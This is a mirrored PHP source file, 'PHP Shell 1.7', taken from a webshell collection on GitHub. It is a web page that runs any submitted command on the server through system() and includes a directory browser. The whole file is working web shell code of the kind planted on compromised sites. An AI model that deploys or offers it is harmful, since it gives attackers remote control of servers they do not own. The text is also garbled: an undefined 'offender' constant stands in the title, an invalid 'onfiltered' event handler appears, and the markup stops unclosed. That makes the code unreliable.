mirror of
https://github.com/tennc/webshell
synced 2024-11-22 19:23:05 +00:00
140 lines
5 KiB
PHP
140 lines
5 KiB
PHP
|
<?php
|
||
|
|
define('PHPSHELL_VERSION', '1.7');
|
||
|
|
/*
|
||
|
|
**************************************************************
|
||
|
|
* PHP Shell *
|
||
|
|
**************************************************************
|
||
|
|
$Id: phpshell.php,v 1.18 2002/09/18 15:49:54 gimpster Exp $
|
||
|
|
PHP Shell is aninteractive PHP-page that will execute any command
|
||
|
|
entered. See the files README and INSTALL or http://www.gimpster.com
|
||
|
|
for further information.
|
||
|
|
Copyright (C) 2000-2002 Martin Geisler <gimpster@gimpster.com>
|
||
|
|
This program is free software; you can redistribute it and/or
|
||
|
|
modify it under the terms of the GNU General Public License
|
||
|
|
as published by the Free Software Foundation; either version 2
|
||
|
|
of the License, or (at your option) any later version.
|
||
|
|
|
||
|
|
This program is distributed in the hope that it will be useful,
|
||
|
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||
|
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||
|
|
GNU General Public License for more details.
|
||
|
|
|
||
|
|
You can get a copy of the GNU General Public License from this
|
||
|
|
address: http://www.gnu.org/copyleft/gpl.html#SEC1
|
||
|
|
You can also write to the Free Software Foundation, Inc., 59 Temple
|
||
|
|
Place - Suite 330, Boston, MA 02111-1307, USA.
|
||
|
|
|
||
|
|
*/
|
||
|
|
?>
|
||
|
|
<html>
|
||
|
|
<head>
|
||
|
|
<title>PHP Shell <?php echo offender ?></title>
|
||
|
|
<meta http-equiv="Content-Type" content="text/html; charset=windows-1250"></head>
|
||
|
|
<body>
|
||
|
|
<h1>PHP Shell <?php echo offender ?></h1>
|
||
|
|
<?php
|
||
|
|
if (ini_get('register_globals') != '1') {
|
||
|
|
/* We'll register the variables as globals: */
|
||
|
|
if (!empty($HTTP_POST_VARS))
|
||
|
|
extract($HTTP_POST_VARS);
|
||
|
|
|
||
|
|
if (!empty($HTTP_GET_VARS))
|
||
|
|
extract($HTTP_GET_VARS);
|
||
|
|
if (!empty($HTTP_SERVER_VARS))
|
||
|
|
extract($HTTP_SERVER_VARS);
|
||
|
|
}
|
||
|
|
/* First we check if there has been asked for a working directory. */
|
||
|
|
if (!empty($work_dir)) {
|
||
|
|
/* A workdir has been asked for */
|
||
|
|
if (!empty($command)) {
|
||
|
|
if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) {
|
||
|
|
/* We try and match a cd command. */
|
||
|
|
if ($regs[1][0] == '/') {
|
||
|
|
$new_dir = $regs[1]; // 'cd /something/...'
|
||
|
|
} else {
|
||
|
|
$new_dir = $work_dir . '/' . $regs[1]; // 'cd somedir/...'
|
||
|
|
}
|
||
|
|
if (file_exists($new_dir) && is_dir($new_dir)) {
|
||
|
|
$work_dir = $new_dir;
|
||
|
|
}
|
||
|
|
unset($command);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
if (file_exists($work_dir) && is_dir($work_dir)) {
|
||
|
|
/* We change directory to that dir: */
|
||
|
|
chdir($work_dir);
|
||
|
|
}
|
||
|
|
/* We now update $work_dir to avoid things like '/foo/../bar': */
|
||
|
|
$work_dir = exec('pwd');
|
||
|
|
?>
|
||
|
|
<form name="myform" action="<?php echo $PHP_SELF ?>" method="post">
|
||
|
|
<p>Current working directory: <b>
|
||
|
|
<?php
|
||
|
|
$work_dir_splitted = explode('/', substr($work_dir, 1));
|
||
|
|
echo '<a href="' . $PHP_SELF . '?work_dir=/">Root</a>/';
|
||
|
|
if (!empty($work_dir_splitted[0])) {
|
||
|
|
$path = '';
|
||
|
|
for ($i = 0; $i < count($work_dir_splitted); $i++) {
|
||
|
|
$path .= '/' . $work_dir_splitted[$i];
|
||
|
|
printf('<a href="%s?work_dir=%s">%s</a>/',
|
||
|
|
$PHP_SELF, urlencode($path), $work_dir_splitted[$i]);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
?></b></p>
|
||
|
|
<p>Choose new working directory:
|
||
|
|
<select name="work_dir" onfiltered="this.form.submit()">
|
||
|
|
<?php
|
||
|
|
/* Now we make a list of the directories. */
|
||
|
|
$dir_handle = opendir($work_dir);
|
||
|
|
/* Run through all the files and directories to find the dirs. */
|
||
|
|
while ($dir = readdir($dir_handle)) {
|
||
|
|
if (is_dir($dir)) {
|
||
|
|
if ($dir == '.') {
|
||
|
|
echo "<option value=\"$work_dir\" selected>Current Directory</option>\n";
|
||
|
|
} elseif ($dir == '..') {
|
||
|
|
/* We have found the parent dir. We must be carefull if the parent
|
||
|
|
directory is the root directory (/). */
|
||
|
|
if (strlen($work_dir) == 1) {
|
||
|
|
/* work_dir is only 1 charecter - it can only be / There's no
|
||
|
|
parent directory then. */
|
||
|
|
} elseif (strrpos($work_dir, '/') == 0) {
|
||
|
|
/* The last / in work_dir were the first charecter.
|
||
|
|
This means that we have a top-level directory
|
||
|
|
eg. /bin or /home etc... */
|
||
|
|
echo "<option value=\"/\">Parent Directory</option>\n";
|
||
|
|
} else {
|
||
|
|
/* We do a little bit of string-manipulation to find the parent
|
||
|
|
directory... Trust me - it works :-) */
|
||
|
|
echo "<option value=\"". strrev(substr(strstr(strrev($work_dir), "/"), 1)) ."\">Parent Directory</option>\n";
|
||
|
|
}
|
||
|
|
} else {
|
||
|
|
if ($work_dir == '/') {
|
||
|
|
echo "<option value=\"$work_dir$dir\">$dir</option>\n";
|
||
|
|
} else {
|
||
|
|
echo "<option value=\"$work_dir/$dir\">$dir</option>\n";
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
closedir($dir_handle);
|
||
|
|
?>
|
||
|
|
</select></p>
|
||
|
|
<p>Command: <input type="text" name="command" size="60">
|
||
|
|
<input name="submit_btn" type="submit" value="Execute Command"></p>
|
||
|
|
<p>Enable <code>stderr</code>-trapping? <input type="checkbox" name="stderr"></p>
|
||
|
|
<textarea cols="80" rows="20" readonly>
|
||
|
|
<?php
|
||
|
|
if (!empty($command)) {
|
||
|
|
if ($stderr) {
|
||
|
|
$tmpfile = tempnam('/tmp', 'phpshell');
|
||
|
|
$command .= " 1> $tmpfile 2>&1; " .
|
||
|
|
"cat $tmpfile; rm $tmpfile";
|
||
|
|
} else if ($command == 'ls') {
|
||
|
|
/* ls looks much better with ' -F', IMHO. */
|
||
|
|
$command .= ' -F';
|
||
|
|
}
|
||
|
|
system($command);
|
||
|
|
}
|
||
|
|
?>
|